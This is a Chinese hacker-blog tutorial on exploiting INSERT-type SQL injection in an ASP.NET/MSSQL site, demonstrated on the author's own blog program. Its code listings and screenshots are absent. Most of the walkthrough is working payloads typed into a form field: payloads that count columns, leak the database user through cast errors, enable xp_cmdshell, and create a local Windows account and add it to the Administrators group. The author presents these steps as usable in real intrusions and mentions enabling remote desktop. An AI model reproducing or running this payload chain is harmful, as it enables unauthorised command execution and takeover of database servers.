危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20613009

关于Insert类型注入浅析

可能有时候大家们会遇见一些站点,在注册的时候存在注入漏洞,今天我就讲解一下Insert类型漏洞注入方法。

一、简单的介绍

关于注入原理我简单的说下,注入的形成是由于程序员在编写代码的时候对获取的值过滤不严,直接带人数据库查询而产生的,这样我门就可以精心构造SQL语句,达到攻击的目的。还是不明白的同学,可以去博客看一下我写的《搜索型注入原理详细解析》我就不在多罗嗦了。在一次测试自己写的Myblog程序的时候,发现后台存在Insert型注入漏洞,在这里我就用这个Blog程序来演示关于Insert类型的注入怎么利用的。

二、blog程序代码

我写的Blog程序是基于3层思想开发的,以下是Blog程序所需要的关键代码,____ASP.NET代码。

1、blog程序代码

2、数据逻辑层

3、数据访问层

三、实战演习

我先普及下SQL的科普知识,先看看关于insert语句语法。INSERT INTO语句用于向表格中插入新的行,也可以指定所要插入数据的列。语法是INSERT INTO表名称(列1,列2,…)VALUES(值1,值2,....)下面我们开始实战演习存在漏洞的页面。

在添加友情链接的时候,没有对输入的值进行过滤产生了注入,下面我们来看这个Insert注入怎么利用。我在url地址文本框输入“fei')--”。

然后点击添加后出现了错误。

出现这个错误是必然的,现在我帮大家们分析下程序中现在的sql语句什么样的,现在程序中语句如下“insert into link values('fei')--’,”)”因为上面语句中插入的值的数目和字段数目不符合,所以会报错,我们在网络上去测试的时候只能去猜解有多少个字段,我们可以这样提交“fei')--”这样去测试,如果还报出上图的错,就在语句中加null,一直到不报错这样就能测试出有多少个字段了,我提交“fei’,null)--”添加成功。

确定为两个字段。下面测试下权限“fei',cast(user as int))--”是sa权限。

然后判断下是否站库分离,执行“cast(@@ servername+'|'+host_name() as int),”爆出相同的话就证明在一个服务器上。

Sa权限下可以直接用xp_cmdshell执行系统命令添加账户,在文本框输入“fei',null);exec xp_cmdshell'net user feihacker 4358849/add'--“提交。

出现这个错误的原因是因为Xp_cmshell没有开启,我们可以用语句开启,我们在文本框执行“fei',null);EXEC sp_configure'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;--”提交后提示添加成功。

然后我们在文本框执行“fei',null);exec xp_cmdshell'net user feihacker 4358849/add'--”提交后返回添加成功的页面本文来自危险漫步博客这就说明我们的命令被执行了,然后在执行“fei',null);;exec master..xp_cmdshell 'net localgroup Administrators feihacker /add'--”这句就是把刚才添加的账户,添加到管理员组,提交后也返回了添加成功提示。

我是在本地测试的,现在我们来看看是不是添加账户成功。开始一运行-cmd然后输入“NETUSER”命令,执行结果。

Feihacker账户添加成功,如果在真实的入侵当中服务器没有开启3389我们也可以用sql语句来开启对方的3389,下面两条语句非别是开启和关闭3389的,语句如下:

四、小结

到此就算搞定了一个存在Insert注入的站点,和常规的注入没有什么区别,这篇文章只是给大家一个清晰的思路和整体步骤,在实战的时候可能还会遇到这样那样的麻烦,希望能给各位的学习路上带来帮助,就到这里,BYE...